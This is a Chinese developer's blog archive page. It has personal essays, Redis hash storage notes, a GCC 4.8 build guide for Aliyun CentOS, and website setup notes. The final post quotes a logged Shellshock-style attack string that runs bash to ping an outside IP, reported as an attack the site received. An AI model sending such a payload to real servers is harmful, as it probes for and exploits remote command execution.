分类目录归档:技术

动荡

动荡是无处安放的躁动青春。
只求青春无悔。
不想虚度每一分时光。

九月下

2017年九月下,又是悲春伤秋的一年。
五年前的现在,2012年九月下,为保研而辗转反侧,求而不得。
四年前的现在,2013年九月,在怀柔,戏谑地称为怀北庄大学。
两年前的现在,2015年九月,为找工作而徘徊不定。
艾丽华酒店,我坐在角落的地上,怕熟悉的人看到。看着厚厚的简历,寥寥而来的面试官,不会被翻到。

路线

我不知道我要什么,只知道我不要什么。
我喜欢一个人在角落,沉默,静看大家的喜乐。越来越不爱说话了,也许是十年前话太多。
做一个有情怀的纯C++后台开发真心好难。
就像三四年前,我怀揣Java Web自以为牛逼的绝技,然后四处碰壁,以为世界都是C++的。
然后不选择之后转而鄙视Java入门简单,然后三年后发现竟是Java的市场。原来高端Java也可以这么牛逼。
就好像我们都鄙视机器学习数据挖掘算法,是因为这些词汇炒的太火热。
不愿意当风口上的猪,只愿意安安静静的做好自己的计算机基本功。
然而鄙视链是数学好的鄙视数学差的。狭隘的我们不愿意做一个会背公式只会推公式的人。
然而生活就是狭隘的。然而我并不是一个人。
我们是有情怀的后台开发。
然而有的仅仅是情怀吧。
不得不面对的是算法道路的前途,钱途。随波逐流做风口浪尖上的水猪。
一个不怎么爱玩游戏的C++后台开发是有多孤独。

一脸正经地胡说八道

提心吊胆地删数据,一脸正经地胡说八道。

上亿个32位的16进制长整数,存在redis里面,用hash存。
前五位做key值, HSET key field value, 后27位做为field。
“将哈希表key中的域field的值设为value。如果key不存在,一个新的哈希表被创建并进行hset操作。如果域field已经存在于哈希表中,旧值将被覆盖。”
形成一个扁平的树形结构。
第一组数据的value为11,插value为10的第二组数据的时候。。毫无防备,猝不及防的覆盖了第一组数据的70%,居然数据是一致的。应该通过间隔符保留两个值。
第一次插数据的时候,干脆利落,十个线程,一个多小时完事。
再插入重复的数据,只改变值的时候,都会变得非常慢,估算一天都玩不了事。
只能蓄谋删数据再插入,而不是更改来换时间了。
删除的时候也是,hdel总让人着急,直接上delete了,删数据,总让人这样害怕。

阿里云centos更新gcc到4.8版本

阿里云默认的gcc是4.4.7版本,不支持C++11,需要手动升级。
1. wget http://gcc.skazkaforyou.com/releases/gcc-4.8.2/gcc-4.8.2.tar.gz
2. tar zxvf gcc-4.8.2.tar.gz
3. ./contrib/download_prerequisites
4. mkdir build
5. cd build
6. ../configure –prefix=/usr
7. make && make install
此时会报错
build/genattrtab ../.././gcc/config/i386/i386.md insn-conditions.md \
-Atmp-attrtab.c -Dtmp-dfatab.c -Ltmp-latencytab.c
make[3]: *** [s-attrtab] Killed
make[3]: Leaving directory `/usr/src/gcc-4.9.2/host-x86_64-unknown-linux-gnu/gcc’
make[2]: *** [all-stage1-gcc] Error 2
make[2]: Leaving directory `/usr/src/gcc-4.9.2′
make[1]: *** [stage1-bubble] Error 2
make[1]: Leaving directory `/usr/src/gcc-4.9.2′
make: *** [all] Error 2

发现这是阿里云独有的共性错。。因为没有swap分区。。
首先调整swap分区为1G
1. dd if=/dev/zero of=/tmp/myswap bs=32k count=32768
2. mkswap /tmp/myswap
3. swapon /tmp/myswap
此时free -m可以看到swap为1g
4. sudo sysctl vm.swappiness=10

64位系统又会报错
/usr/include/gnu/stubs.h:7:27: fatal error: gnu/stubs-32.h: No such file or directory
需要yum -y install glibc-devel.i686 glibc-devel

参考:

http://my.oschina.net/u/1465953/blog/209029?fromerr=kbNcnjMH

http://bbs.csdn.net/topics/390817656

http://blog.csdn.net/tangyi2008/article/details/42099427

http://www.educity.cn/wenda/566626.html

建站相关

其实文章也不算是技术的。
作为一个审美有问题的后端控,其实是不喜欢Web建站的,尤其是一些前端的东西,其实是做不好。
喜欢简约风格,不喜欢装饰,其实是怕网站太慢,毕竟只有1M 流量带宽。

开始想选用Python + django + Nginx,因为熟悉Python,想学习Nginx内部架构的。
然后就只能写个简单的页面,网上个人博士都是推荐WordPress的,想着先用用学习一下,然后网上的教程都是WordPress架在Apache上的,早日会换Nginx混合服务器的,因为速度会慢吧。亲测WordPress真心挺慢的,早日会换Python的,主要PHP不太会。

申请了kwjcyr.com的域名,然而使用一天不到就需要去备案,首先申请了阿里云的幕布,照了照片,然后照了身份证,又打印了三份备案文件,签了字,寄过去,再各种等审批。

真心太慢了加载,关闭了Google字体插件,据说都把谷歌等国外网址都换成360的镜像会快一些,至少卸载google字体插件就快太多了。恩,先忍着凑合用吧。

kwjcyr.com的域名终于下来了,下来第一天网站就被攻击。
2016-01-06 05:27:03 139.129.36.34
139.129.36.34/rom-0 Match1:() { :;}; /bin/bash -c .ping 212.47.238.143 -c 1.
复制 GET 代码/命令执行
46.172.71.251 (乌克兰)